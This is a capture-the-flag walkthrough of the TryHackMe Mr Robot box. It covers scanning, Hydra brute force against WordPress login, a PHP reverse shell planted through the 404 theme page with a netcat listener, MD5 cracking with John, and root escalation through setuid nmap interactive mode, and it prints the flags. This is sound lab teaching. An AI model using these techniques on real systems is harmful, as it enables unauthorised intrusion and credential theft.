Once you connect to the Try Hack Me VPN and deploy the machine, you can get underway with the CTF.
Note: You'll see different target machine IP addresses in this write up because I either crashed the machine or forgot to keep it from timing out, and had to work on this in two sittings due to real life getting in the way.
Scan with nmap:
# Nmap 7.80 scan initiated Tue Sep 15 22:22:50 2020 as: nmap -v -A -oN nmap.log 10.10.49.29 Nmap scan report for 10.10.49.29 Host is up (0.083s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd |_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache 443/tcp open ssl/http Apache httpd |_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=www.example.com | Issuer: commonName=www.example.com | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2015-09-16T10:45:03 | Not valid after: 2025-09-13T10:45:03 | MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97 |_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b Device type: general purpose|specialized|storage-misc|WAP|broadband router|printer Running (JUST GUESSING): Linux 3.X|4.X|2.6.X (91%), Crestron 2-Series (89%), HP embedded (89%), Asus embedded (88%) OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.22 cpe:/o:linux:linux_kernel:2.6 cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4 Aggressive OS guesses: Linux 3.10 - 3.13 (91%), Linux 3.10 - 4.11 (90%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.2 - 3.5 (90%), Linux 3.2 - 3.8 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Crestron XPanel control system (89%) No exact OS matches for host (test conditions non-ideal). Uptime guess: 0.010 days (since Tue Sep 15 22:10:24 2020) Network Distance: 4 hops TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: All zeros TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 12.52 ms 10.2.0.1 2 ... 3 4 1.89 ms 10.10.49.29 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Sep 15 22:24:22 2020 -- 1 IP address (1 host up) scanned in 92.91 seconds
- Open ports: 80, 443
- Closed ports: 22
The site has a bunch of stylistic videos and images related to the show, but nothing obviously to target. Let's see what our scans return.
Scan with Nikto:
kali@kali:~/ctf/thm/mr_robot$ nikto -h 10.10.222.16 | tee nikto.log
- Nikto v2.1.6--------------------------------------------------------------------------- + Target IP: 10.10.222.16 + Target Hostname: 10.10.222.16 + Target Port: 80 + Start Time: 2020-09-16 00:41:52 (GMT0) --------------------------------------------------------------------------- + Server: Apache + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Retrieved x-powered-by header: PHP/5.5.29 + ERROR: Error limit (20) reached for host, giving up. Last error: + Scan terminated: 15 error(s) and 3 item(s) reported on remote host + End Time: 2020-09-16 00:51:15 (GMT0) (563 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Summary: Apache web server, php
Scan with Gobuster:
kali@kali:~/ctf/thm/mr_robot$ gobuster dir -u http://10.10.222.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.222.16 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/09/16 00:43:31 Starting gobuster =============================================================== <snip> /login (Status: 302) <snip> /readme (Status: 200) <snip> /robots (Status: 200)
Gobuster found some paths and files:
readme. Browsing to the
login path points out that this server is also running a Wordpress blog.
http://10.10.222.16/robots.txt User-agent: * fsocity.dic key-1-of-3.txt
Well that was easy, one of the files listed in the robots.txt clearly looks like our first flag, and it is!
The other file is
fsocity.dic which looks like a wordlist. I'm going to guess we're being handed this on a platter and that we can find a username and/or password in there.
Hydra to brute force wp-login
kali@kali:~/ctf/thm/mr_robot$ hydra -v -L fsocity.dic -p foo "http-post-form://10.10.134.1/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username:" Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-15 23:20:48 [DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries (l:858235/p:1), ~53640 tries per task [DATA] attacking http-post-form://10.10.134.1:80/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username: [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [http-post-form] host: 10.10.134.1 login: Elliot password: foo
One thing that makes brute forcing username and password more feasible is being able to detect when you've found at least one of them. This reduces the number of attempts you'll have to make greatly. Because the website reports "Invalid username" when you've got an incorrect username and "The password you entered for the username
My first attempt at getting the password was getting nowhere fast. I did a little research and saw some people groom their password lists by making sure all the entries are unique. It turns out the
fsocity.dic file had a ton of duplicates, so cleaned it up and tried again:
kali@kali:~/ctf/thm/mr_robot$ sort fsocity.dic | uniq > fsocity_uniq.dic kali@kali:~/ctf/thm/mr_robot$ wc -l fsocity.dic 858160 fsocity.dic kali@kali:~/ctf/thm/mr_robot$ wc -l fsocity_uniq.dic 11451 fsocity_uniq.dic
Then brute force the password from that cleaned up wordlist, note we've entered the found username and changed the pattern indicating a failure to be the word "incorrect".
kali@kali:~/ctf/thm/mr_robot$ hydra -V -l Elliot -P fsocity_uniq.dic "http-post-form://10.10.222.16/wp-login.php:log=^USER^&pwd=^PASS^:incorrect:" Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-16 02:47:04
Just for completeness' sake, check out that readme path we found:
I like where you head is at. However I'm not going to help you.
Getting a Shell
Now that we have a foothold with the credentials to log in to the wordpress site, we can work on getting a shell. There are a number of options, but uploading a php reverse shell is one of the easiest. We can replace one of the themed pages, like the 404 error page, with the php reverse shell code. Then we set up a netcat listener on our attacker machine, and finally execute the php on the server by going to a page we know won't be found (triggering the 404 page).
kali@kali:~/ctf/thm/mr_robot$ nc -v -n -l -p 4444 listening on [any] 4444 ... connect to [10.2.41.105] from (UNKNOWN) [10.10.155.39] 50388 Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 06:37:42 up 27 min, 0 users, load average: 0.00, 0.01, 0.18 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1(daemon) gid=1(daemon) groups=1(daemon) /bin/sh: 0: can't access tty; job control turned off $ whoami daemon $ cd /home $ ls robot $ cd robot $ ls -l total 8 -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5 $ cat password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b
We've got a shell, as
daemon, and what looks like the second key and a juicy looking password file. We don't have permission to read the second key file just yet. We can read the password file, so let's grab that and see if we can crack it with John the Ripper
Crack the MD5 password with John the Ripper
kali@kali:~/ctf/thm/mr_robot$ man john JOHN(8) System Manager's Manual JOHN(8) NAME john - a tool to find weak passwords of your users kali@kali:~/ctf/thm/mr_robot$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt password.md5 Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3]) Warning: no OpenMP support for this hash type, consider --fork=6 Press 'q' or Ctrl-C to abort, almost any other key for status abcdefghijklmnopqrstuvwxyz (robot) 1g 0:00:00:00 DONE (2020-09-18 17:19) 50.00g/s 2025Kp/s 2025Kc/s 2025KC/s bonjour1..123092 Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed kali@kali:~/ctf/thm/mr_robot$ john --show password.md5 --format=Raw-MD5 robot:abcdefghijklmnopqrstuvwxyz 1 password hash cracked, 0 left
Not a very creative password, in fact it made me think maybe the crack was an error. Might as well give it a try. We spawn the reverse shell again and try it out:
$ sudo robot cat key-2-of-3.txt sudo: no tty present and no askpass program specified
Ah, we've got to stabilize this shell to have a real tty. There are many options, but since this box has python installed, here's an easy python one liner;
$ python -c 'import pty; pty.spawn("/bin/bash")' daemon@linux:/home/robot$ su robot su robot Password: abcdefghijklmnopqrstuvwxyz robot@linux:~$ cat key-2-of-3.txt cat key-2-of-3.txt 822c73956184f694993bede3eb39f959
Grab a copy of linpeas and start scanning for vulnerabilities. An easy way to do this is to use netcat to transfer the script to a writeable area. For some reason
robot's home directory is owned by
root and not writeable. We can use
/run/shm as a temporary working area though.
Linpeas helpfully points out that
nmap is available on the box and better yet, it's setuid! We can run it in interactive mode and execute commands:
robot@linux:/run/shm$ nmap --interactive nmap --interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !whoami !whoami root
Cool, we're basically root now!
nmap> !ls /root !ls /root firstboot_done key-3-of-3.txt waiting to reap child : No child processes nmap> !cat /root/key-3-of-3.txt !cat /root/key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4 waiting to reap child : No child processes
And there we have it. All three flags captured and we got to use some really fun tools along the way.